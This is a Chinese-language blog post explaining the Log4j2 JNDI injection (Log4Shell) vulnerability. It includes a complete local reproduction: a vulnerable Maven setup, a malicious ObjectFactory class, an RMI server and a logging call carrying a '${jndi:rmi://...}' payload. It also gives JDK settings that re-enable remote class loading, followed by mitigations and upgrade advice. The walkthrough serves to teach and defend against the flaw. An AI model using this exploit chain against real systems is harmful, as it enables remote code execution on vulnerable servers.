关于java:Log4j2史诗级漏洞导致JNDI注入问题探析

8次阅读

共计 3890 个字符,预计需要花费 10 分钟才能阅读完成。

背景

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰盛的个性。该日志框架被大量用于业务零碎开发,用来记录日志信息。大多数状况下,开发者可能会将用户输出导致的错误信息写入日志中,比方在用户登录的时候打印一些异样信息,如 xxx 明码输出谬误超过 5 次,账号被锁定;xxx 账号已被锁定;xxx 账号频繁异地登录。

前不久,Apache 开源我的项目 Log4j 的近程代码执行破绽细节被公开,因为 Log4j 的宽泛应用,该破绽一旦被攻击者利用会造成严重危害。

据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。受影响利用包含但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。

因该组件应用极为宽泛,利用门槛很低,危害极大,网络安全专家建议所有用户尽快降级到平安版本 >=2.15.0。

破绽细节

srping-boot-strater-log4j2 此次破绽的呈现,正是由用于 Log4j 2 提供的 lookup 性能造成的,该性能容许开发者通过一些协定去读取相应环境中的配置。但在实现的过程中,并未对输出进行严格的判断,从而造成破绽的产生。

Log4j2 官网文档

破绽明细

JNDI 和 RMI 的关系

JNDI 能够近程下载 class 文件来构建对象

破绽复现
黑客在本人的客户端启动一个带有恶意代码的 rmi 服务,通过服务端的 log4j 的破绽,向服务端的 jndi context lookup 的时候连贯本人的 rmi 服务器,服务端连贯 rmi 服务器执行 lookup 的时候会通过 rmi 查问到该地址指向的援用并且本地实例化这个类,所以在类中的构造方法或者动态代码块中写入逻辑,就会在服务端(jndi rmi 过程中的客户端)实例化的时候执行到这段逻辑,导致 jndi 注入。

代码

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.lingyejun</groupId>
    <artifactId>log4j2-safe</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>

</project>
package com.lingyejun.rmi;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class HackerAttackCode implements ObjectFactory {public HackerAttackCode() { }

    static {System.out.println("黑客正在攻打你的服务器");
    }
    
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}
package com.lingyejun.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {public static void main(String[] args) {
        try {LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            // new Reference()中的第三个参数示意 HackerAttackCode classes 文件的门路,能够是 ftp,http 协定,本机间接写 null
            Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("aa",referenceWrapper);

            System.out.println("RMI 服务端已启动");
        } catch (Exception e) {e.printStackTrace();
        }
    }
}
package com.lingyejun;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2SafeMain {private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        String userName = "lingyejun";
        LOGGER.info("user {} log in success", userName);

        userName = "${java:runtime}";
        LOGGER.info("user {} log in success", userName);


        // Java 的高版本默认是不会执行近程类的,只有低于 8u121 会被 rmi 注入,低于 8u191 的版本才会被 ldap 注入。/*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/

        userName = "${jndi:rmi://192.168.1.103:1099/aa}";
        LOGGER.info("user {} log in success", userName);


    }
}

编写测试代码时候需注意以下几点

1. 视频中的 new Reference(),中的第三个参数示意 EvilObj classes 文件的门路,能够是 ftp,http 协定,本机间接写 null。
2. 在测试类中因为 JDK 版本起因可能会报 The object factory is untrusted 相似谬误,因为 Java 的高版本默认是不会执行近程类的,只有低于 8u121 会被 rmi 注入,低于 8u191 的版本才会被 ldap 注入。在 Log4jTest 类中增加:System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);System.setProperty(“java.rmi.server.useCodebaseOnly”, “false”);
3. 翎野君的 jdk 版本是 1.8.0_144,HackerAttackCode 须要实现 javax.naming.spi.ObjectFactory 接口能力复现。

修复

  1. 长期应急缓解措施

(1)批改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)批改配置 log4j2.formatMsgNoLookups=True
(3)将零碎环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

2. 修复计划查看所有应用了 Log4j 组件的零碎,将 log4j 组件版本升级至 2.15.0 以上。

总之不要置信客户端的输出信息,永远置信来自用户的输出是危险的。

本篇文章如有帮忙到您,请给「翎野君」点个赞,感谢您的反对。

正文完
 0